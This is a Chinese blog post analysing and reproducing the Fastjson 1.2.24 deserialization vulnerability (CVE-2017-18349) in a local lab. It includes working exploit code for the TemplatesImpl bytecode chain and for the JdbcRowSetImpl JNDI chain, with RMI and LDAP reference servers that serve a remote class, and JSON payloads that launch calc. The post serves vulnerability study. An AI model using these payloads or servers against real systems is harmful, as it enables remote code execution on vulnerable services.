当前位置: 首页 > news >正文

Fastjson1.2.24(CVE-2017-18349)分析

前言

Fastjson在1.2.24版本之前存在两条利用链,分别是

  1. JNDI com.sun.rowset.JdbcRowSetImpl
  2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    我们本次也是对这两条链进行分析和过程复现
    在fastjson漏洞中,我们往往是寻找一个类,它的构造函数、 getter,setter 方法有问题,那么往往这个类就是我们要找的漏洞触发点了

环境搭建

1.jdk8u65 (低版本有jndi漏洞的)
2.fastjson 1.2.24

先在pom.xml中写入实验需要的环境
unboundid-ldapsdk(等会ldap需要)
commons-io(数据流操作需要)
fastjson (漏洞触发环境)
commons-codec(加密需要)

<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.9</version>
</dependency>
<dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.5</version>
</dependency>
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>
<dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.12</version>
</dependency>

1.TemplatesImpl分析

在之前的CC链分析中,有一个漏洞点是位于TemplatesImpl加载字节码,然后调用了newInstance()方法进行实例化执行命令,而这个方法就是一个getter方法
在这里插入图片描述

我们想要顺利执行到newInstance()方法实例化执行命令需要满足中间的程序判定,让它顺利的执行到目标点
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. _name为String类型,不能为null
  2. _class为Class类型的数据,必须为null 默认也是null,不用处理
  3. _bytecodes为字节类型的二维数组,不能为null
  4. _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法
  5. _auxClasses不为null,需要让payload继承 ABSTRACT_TRANSLET 这个父类
    所以我们使用以下代码
String text1 = "{\"@type\":\"" + NASTY_CLASS +"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'admin','_tfactory':{ },"

虽然fastjson会自动调用目标的所有getter和setter方法,但是只会调用满足条件的getter和setter方法

满足条件的setter:

  • 非静态函数
  • 方法名长度大于4
  • 方法名以set开头
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 方法名长度大于等于4
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

而我们的getTransletInstance()方法返回的是一个translet实例
在这里插入图片描述
我们寻找谁调用了getTransletInstance()方法,但是它不是getter方法,我们继续寻找
在这里插入图片描述
我们可以看到有一个getter方法,我们看它是否满足fastjson的调用条件,可以看到是满足的,它最后返回的Properties继承的是Map
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以当前的路线为:

getOutputProperties()  ---> newTransformer() ---> TransformerImpl

2.TemplatesImpl复现

所以我们构造poc要加上_outputProperties,使其能够触发getOutputProperties()方法

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc  extends AbstractTranslet{static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}
//@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
package org.fastjson;import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;public class fstjson124 {public static void main(String args[]) {try{final String evilClassPath = "D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class";String evilCode = readClass(evilClassPath);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{\"@type\":\"" + NASTY_CLASS +"\",'_bytecodes':['"+evilCode+"'],'_name':'admin','_tfactory':{ },'_outputProperties':{ },";System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class,  Feature.SupportNonPublicField);}catch (Exception e){e.printStackTrace();}}public static String readClass(String cls){ByteArrayOutputStream bos = new ByteArrayOutputStream();try {IOUtils.copy(new FileInputStream(new File(cls)), bos);} catch (IOException e) {e.printStackTrace();}return Base64.encodeBase64String(bos.toByteArray());}
}

需要注意的是,在fastjson当中,双引号和单引号是有区别的,注意区分,而且想让传给JSON.parseObject()进行反序列化的JSON内容指向的对象类中的私有变量成功还原出来,则需要在调用JSON.parseObject()时加上Feature.SupportNonPublicField这个属性设置
在这里插入图片描述

3. JdbcRowSetImpl 分析及复现

这条链的漏洞主要存在于JdbcRowSetImpl#setAutoCommit和JdbcRowSetImpl#setDataSourceName
我们查看JdbcRowSetImpl#setAutoCommit方法

在这里插入图片描述
在this.conn为空的情况下,会进入connect()方法
并且在this.getDataSourceName() != null的情况下,进行了一次JNDI的调用
在这里插入图片描述
而这个值是怎么来的呢,这个值可以在JdbcRowSetImpl#setDataSourceName中由我们控制赋予
在这里插入图片描述
它会调用父类,然后设置dataSource的值
在这里插入图片描述
而在上面的调用this.getDataSourceName(),调用的就是dataSource的值
在这里插入图片描述
我们也可以看到这两个方法JdbcRowSetImpl#setAutoCommit和JdbcRowSetImpl#setDataSourceName都是符合fastjson的setter规则的
所以我们构建payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

3.1 JNDI+RMI

我们先写一个测试的类

import java.io.IOException;public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}
//
}

然后使用python启动一个http服务在这里插入图片描述
启动RMI

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class ldap {public static void main(String[] args) {try {// RMI部分Registry registry = LocateRegistry.createRegistry(1099);InitialContext initialContextRMI = new InitialContext();Reference referenceRMI = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");initialContextRMI.rebind("rmi://127.0.0.1:1099/remoteObj", referenceRMI);} catch (Exception e) {e.printStackTrace();}}}

然后运行我们的Payload

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;public class fastjson_124_jndi {public static void main(String args[]) {try{String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/remoteObj\",\"autoCommit\":true}";System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class,  Feature.SupportNonPublicField);}catch (Exception e){e.printStackTrace();}}
}

在这里插入图片描述

3.2 JNDI+ldap

我们代码启动一个ldap

package org.example;import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;// jndi 绕过 jdk8u191 之前的攻击
public class JNDILdapServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main (String[] args) {String url = "http://127.0.0.1:8000/#Calc";int port = 1099;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen",InetAddress.getByName("0.0.0.0"),port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port);ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/*** */ public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/ @Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "Exploit");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

在这里插入图片描述
启动http服务,上面有我们的测试类
在这里插入图片描述
启动Payload


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;public class fastjson_124_jndi {public static void main(String args[]) {try{String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";System.out.println(text1);Object obj = JSON.parseObject(text1);}catch (Exception e){e.printStackTrace();}}
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.3 工具启动

我们直接使用工具启动一个ldap
在这里插入图片描述
将payload中的地址进行替换

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;public class fastjson_124_jndi {public static void main(String args[]) {try{String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:80/Object\",\"autoCommit\":true}";System.out.println(text1);Object obj = JSON.parseObject(text1);}catch (Exception e){e.printStackTrace();}}
}

在这里插入图片描述
我们可以看到记录已经访问到
在这里插入图片描述

4.总结

我们一共分析了两种fastjson1.2.4利用的方式,第一种TemplatesImpl涉及到私有变量,所以需要代码种包括Feature.SupportNonPublicField,这一点限制比较大
所以在平常的测试种,我们往往使用第二种方式来进行测试fastjson漏洞,不过要区分jdk版本来使用不同的绕过方式

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Mybatis分页查询主从表
  • macos MacPort 包管理工具安装和使用
  • Java-树形图工具类TreeUtil
  • [论文笔记]Rethink Training of BERT Rerankers in Multi-Stage Retrieval Pipeline
  • 自动生成对话视频!如何使用Captions的AI视频生成与编辑API工具?
  • LeetCode90 子集 II
  • C++ 设计模式——备忘录模式
  • LeetCode93 复原 IP 地址
  • C程序设计——指针杂谈0
  • 短剧APP遭遇DDoS攻击的解决方法
  • sqlite3的db.parallelize方法:并行执行SQL语句,提升数据库操作效率
  • 网络编程 0903作业
  • Java 入门指南:Java 并发编程 —— 并发容器 ConcurrentSkipListMap
  • 航电系统,无人机的核心!!!
  • Https配置免费SSL证书
  • 【RocksDB】TransactionDB源码分析
  • 〔开发系列〕一次关于小程序开发的深度总结
  • hadoop入门学习教程--DKHadoop完整安装步骤
  • Hibernate【inverse和cascade属性】知识要点
  • pdf文件如何在线转换为jpg图片
  • python大佬养成计划----difflib模块
  • Spring框架之我见(三)——IOC、AOP
  • Vue2.x学习三:事件处理生命周期钩子
  • Vue--数据传输
  • 微信小程序实战练习(仿五洲到家微信版)
  • 我感觉这是史上最牛的防sql注入方法类
  • C# - 为值类型重定义相等性
  • UI设计初学者应该如何入门?
  • ​【原创】基于SSM的酒店预约管理系统(酒店管理系统毕业设计)
  • ​人工智能书单(数学基础篇)
  • #LLM入门|Prompt#1.8_聊天机器人_Chatbot
  • (1)(1.8) MSP(MultiWii 串行协议)(4.1 版)
  • (2024,Vision-LSTM,ViL,xLSTM,ViT,ViM,双向扫描)xLSTM 作为通用视觉骨干
  • (31)对象的克隆
  • (4)logging(日志模块)
  • (6)STL算法之转换
  • (bean配置类的注解开发)学习Spring的第十三天
  • (C#)Windows Shell 外壳编程系列9 - QueryInfo 扩展提示
  • (delphi11最新学习资料) Object Pascal 学习笔记---第8章第5节(封闭类和Final方法)
  • (十)DDRC架构组成、效率Efficiency及功能实现
  • (十八)用JAVA编写MP3解码器——迷你播放器
  • (十五)使用Nexus创建Maven私服
  • (五)关系数据库标准语言SQL
  • (一)使用Mybatis实现在student数据库中插入一个学生信息
  • (转) Android中ViewStub组件使用
  • .bat批处理(一):@echo off
  • .net 4.0 A potentially dangerous Request.Form value was detected from the client 的解决方案
  • .net 开发怎么实现前后端分离_前后端分离:分离式开发和一体式发布
  • .net 提取注释生成API文档 帮助文档
  • .net和php怎么连接,php和apache之间如何连接
  • .net中生成excel后调整宽度
  • ::什么意思
  • @FeignClient注解,fallback和fallbackFactory
  • @RequestBody与@ResponseBody的使用
  • [ 数据结构 - C++]红黑树RBTree